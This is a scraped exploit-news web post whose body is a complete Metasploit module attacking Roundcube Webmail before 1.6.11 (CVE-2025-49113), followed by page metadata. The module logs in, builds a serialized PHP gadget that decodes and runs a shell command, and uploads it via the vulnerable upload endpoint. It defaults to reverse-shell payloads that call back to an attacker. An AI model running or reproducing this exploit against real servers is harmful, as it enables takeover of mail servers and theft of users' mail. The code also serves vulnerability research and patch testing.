\n##
\n
# This module requires Metasploit: https:\/\/metasploit.com\/download
\n
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote\n
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
\n
include Msf::Exploit::FileDropper
\n
include Msf::Exploit::CmdStager
\n
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
\n
super(
\n
update_info(
\n
info,
\n
‘Name’ => ‘Roundcube \u2264 1.6.10 Post-Auth RCE via PHP Object Deserialization’,
\n
‘Description’ => %q{
\n
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
\n
by authenticated users because the _from parameter in a URL is not validated
\n
in program\/actions\/settings\/upload.php, leading to PHP Object Deserialization.<\/p>\n
An attacker can execute arbitrary system commands as the web server.
\n
},
\n
‘Author’ => [
\n
‘Maksim Rogov’, # msf module
\n
‘Kirill Firsov’, # disclosure and original exploit
\n
],
\n
‘License’ => MSF_LICENSE,
\n
‘References’ => [
\n
[‘CVE’, ‘2025-49113’],
\n
[‘URL’, ‘https:\/\/fearsoff.org\/research\/roundcube’]
\n
],
\n
‘DisclosureDate’ => ‘2025-06-02’,
\n
‘Notes’ => {
\n
‘Stability’ => [CRASH_SAFE],
\n
‘SideEffects’ => [IOC_IN_LOGS],
\n
‘Reliability’ => [REPEATABLE_SESSION]
\n
},
\n
‘Platform’ => [‘unix’, ‘linux’],
\n
‘Targets’ => [
\n
[
\n
‘Linux Dropper’,
\n
{
\n
‘Platform’ => ‘linux’,
\n
‘Arch’ => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
\n
‘Type’ => :linux_dropper,
\n
‘DefaultOptions’ => { ‘PAYLOAD’ => ‘linux\/x64\/meterpreter\/reverse_tcp’ }
\n
}
\n
],
\n
[
\n
‘Linux Command’,
\n
{
\n
‘Platform’ => [‘unix’, ‘linux’],
\n
‘Arch’ => [ARCH_CMD],
\n
‘Type’ => :nix_cmd,
\n
‘DefaultOptions’ => { ‘PAYLOAD’ => ‘cmd\/unix\/reverse_bash’ }
\n
}
\n
]
\n
],
\n
‘DefaultTarget’ => 0
\n
)
\n
)<\/p>\n
register_options(
\n
[
\n
OptString.new(‘USERNAME’, [true, ‘Email User to login with’, ” ]),
\n
OptString.new(‘PASSWORD’, [true, ‘Password to login with’, ” ]),
\n
OptString.new(‘TARGETURI’, [true, ‘The URI of the Roundcube Application’, ‘\/’ ]),
\n
OptString.new(‘HOST’, [false, ‘The hostname of Roundcube server’, ”])
\n
]
\n
)
\n
end<\/p>\n
class PhpPayloadBuilder
\n
def initialize(command)
\n
@encoded = Rex::Text.encode_base32(command)
\n
@gpgconf = %(echo “#{@encoded}”|base32 -d|sh &#)
\n
end<\/p>\n
def build
\n
len = @gpgconf.bytesize
\n
%(|O:16:”Crypt_GPG_Engine”:3:{s:8:”_process”;b:0;s:8:”_gpgconf”;s:#{len}:”#{@gpgconf}”;s:8:”_homedir”;s:0:””;};)
\n
end
\n
end<\/p>\n
def fetch_login_page
\n
res = send_request_cgi(
\n
‘uri’ => normalize_uri(target_uri.path),
\n
‘method’ => ‘GET’,
\n
‘keep_cookies’ => true,
\n
‘vars_get’ => { ‘_task’ => ‘login’ }
\n
)<\/p>\n
fail_with(Failure::Unreachable, “#{peer} – No response from web service”) unless res
\n
fail_with(Failure::UnexpectedReply, “#{peer} – Unexpected HTTP code #{res.code}”) unless res.code == 200
\n
res
\n
end<\/p>\n
def check
\n
res = fetch_login_page<\/p>\n
unless res.body =~ \/”rcversion”\\s*:\\s*(\\d+)\/
\n
fail_with(Failure::UnexpectedReply, “#{peer} – Unable to extract version number”)
\n
end<\/p>\n
version = Rex::Version.new(Regexp.last_match(1).to_s)
\n
print_good(“Extracted version: #{version}”)<\/p>\n
if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
\n
return CheckCode::Appears
\n
elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
\n
return CheckCode::Appears
\n
end<\/p>\n
CheckCode::Safe
\n
end<\/p>\n
def build_serialized_payload
\n
print_status(‘Preparing payload…’)<\/p>\n
stager = case target[‘Type’]
\n
when :nix_cmd
\n
payload.encoded
\n
when :linux_dropper
\n
generate_cmdstager.join(‘;’)
\n
else
\n
fail_with(Failure::BadConfig, ‘Unsupported target type’)
\n
end<\/p>\n
serialized = PhpPayloadBuilder.new(stager).build.gsub(‘”‘, ‘\\\\”‘)
\n
print_good(‘Payload successfully generated and serialized.’)
\n
serialized
\n
end<\/p>\n
def exploit
\n
token = fetch_csrf_token
\n
login(token)<\/p>\n
payload_serialized = build_serialized_payload
\n
upload_payload(payload_serialized)
\n
end<\/p>\n
def fetch_csrf_token
\n
print_status(‘Fetching CSRF token…’)<\/p>\n
res = fetch_login_page
\n
html = res.get_html_document<\/p>\n
token_input = html.at(‘input[name=”_token”]’)
\n
unless token_input
\n
fail_with(Failure::UnexpectedReply, “#{peer} – Unable to extract CSRF token”)
\n
end<\/p>\n
token = token_input.attributes.fetch(‘value’, nil)
\n
if token.blank?
\n
fail_with(Failure::UnexpectedReply, “#{peer} – CSRF token is empty”)
\n
end<\/p>\n
print_good(“Extracted token: #{token}”)
\n
token
\n
end<\/p>\n
def login(token)
\n
print_status(‘Attempting login…’)
\n
vars_post = {
\n
‘_token’ => token,
\n
‘_task’ => ‘login’,
\n
‘_action’ => ‘login’,
\n
‘_url’ => ‘_task=login’,
\n
‘_user’ => datastore[‘USERNAME’],
\n
‘_pass’ => datastore[‘PASSWORD’]
\n
}<\/p>\n
vars_post[‘_host’] = datastore[‘HOST’] if datastore[‘HOST’]<\/p>\n
res = send_request_cgi(
\n
‘uri’ => normalize_uri(target_uri.path),
\n
‘method’ => ‘POST’,
\n
‘keep_cookies’ => true,
\n
‘vars_post’ => vars_post,
\n
‘vars_get’ => { ‘_task’ => ‘login’ }
\n
)<\/p>\n
fail_with(Failure::Unreachable, “#{peer} – No response during login”) unless res
\n
fail_with(Failure::UnexpectedReply, “#{peer} – Login failed (code #{res.code})”) unless res.code == 302<\/p>\n
print_good(‘Login successful.’)
\n
end<\/p>\n
def generate_from
\n
options = [
\n
‘compose’,
\n
‘reply’,
\n
‘import’,
\n
‘settings’,
\n
‘folders’,
\n
‘identity’
\n
]
\n
options.sample
\n
end<\/p>\n
def generate_id
\n
random_data = SecureRandom.random_bytes(8)
\n
timestamp = Time.now.to_f.to_s
\n
Digest::MD5.hexdigest(random_data + timestamp)
\n
end<\/p>\n
def generate_uploadid
\n
millis = (Time.now.to_f * 1000).to_i
\n
“upload#{millis}”
\n
end<\/p>\n
def upload_payload(payload_filename)
\n
print_status(‘Uploading malicious payload…’)<\/p>\n
# 1×1 transparent pixel image
\n
png_data = Rex::Text.decode_base64(‘iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==’)
\n
boundary = Rex::Text.rand_text_alphanumeric(8)<\/p>\n
data = ”
\n
data << \"--#{boundary}\\r\\n\"\n
data << \"Content-Disposition: form-data; name=\\\"_file[]\\\"; filename=\\\"#{payload_filename}\\\"\\r\\n\"\n
data << \"Content-Type: image\/png\\r\\n\\r\\n\"\n
data << png_data\n
data << \"\\r\\n--#{boundary}--\\r\\n\"\n\n send_request_cgi({\n
‘method’ => ‘POST’,
\n
‘uri’ => normalize_uri(target_uri.path, “?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload”),
\n
‘ctype’ => “multipart\/form-data; boundary=#{boundary}”,
\n
‘data’ => data
\n
})<\/p>\n
print_good(‘Exploit attempt complete. Check for session.’)
\n
end
\n
end\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Roundcube 1.6.10 – Remote Code Execution (RCE) Exploit ID EDB-ID:52324 Type exploitdb Published 2025-06-13T00:00:00 Modified 2025-06-13T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,40,13,7,11,5],"class_list":["post-6831","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
Roundcube 1.6.10 - Remote Code Execution (RCE) - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=6831\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Roundcube 1.6.10 - Remote Code Execution (RCE) - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Roundcube 1.6.10 – Remote Code Execution (RCE) Exploit ID EDB-ID:52324 Type exploitdb Published 2025-06-13T00:00:00 Modified 2025-06-13T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=6831\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-06-13T13:33:50+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6831#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6831\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Roundcube 1.6.10 – Remote Code Execution (RCE)\",\"datePublished\":\"2025-06-13T13:33:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6831\"},\"wordCount\":752,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=6831#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6831\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6831\",\"name\":\"Roundcube 1.6.10 - Remote Code Execution (RCE) - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-06-13T13:33:50+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6831#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=6831\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6831#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Roundcube 1.6.10 – Remote Code Execution (RCE)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Roundcube 1.6.10 - Remote Code Execution (RCE) - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=6831","og_locale":"en_US","og_type":"article","og_title":"Roundcube 1.6.10 - Remote Code Execution (RCE) - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Roundcube 1.6.10 – Remote Code Execution (RCE) Exploit ID EDB-ID:52324 Type exploitdb Published 2025-06-13T00:00:00 Modified 2025-06-13T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=6831","og_site_name":"zero redgem","article_published_time":"2025-06-13T13:33:50+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=6831#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=6831"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Roundcube 1.6.10 – Remote Code Execution (RCE)","datePublished":"2025-06-13T13:33:50+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=6831"},"wordCount":752,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=6831#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=6831","url":"https:\/\/zero.redgem.net\/?p=6831","name":"Roundcube 1.6.10 - Remote Code Execution (RCE) - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-06-13T13:33:50+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=6831#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=6831"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=6831#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Roundcube 1.6.10 – Remote Code Execution (RCE)"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/6831","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6831"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/6831\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6831"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6831"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}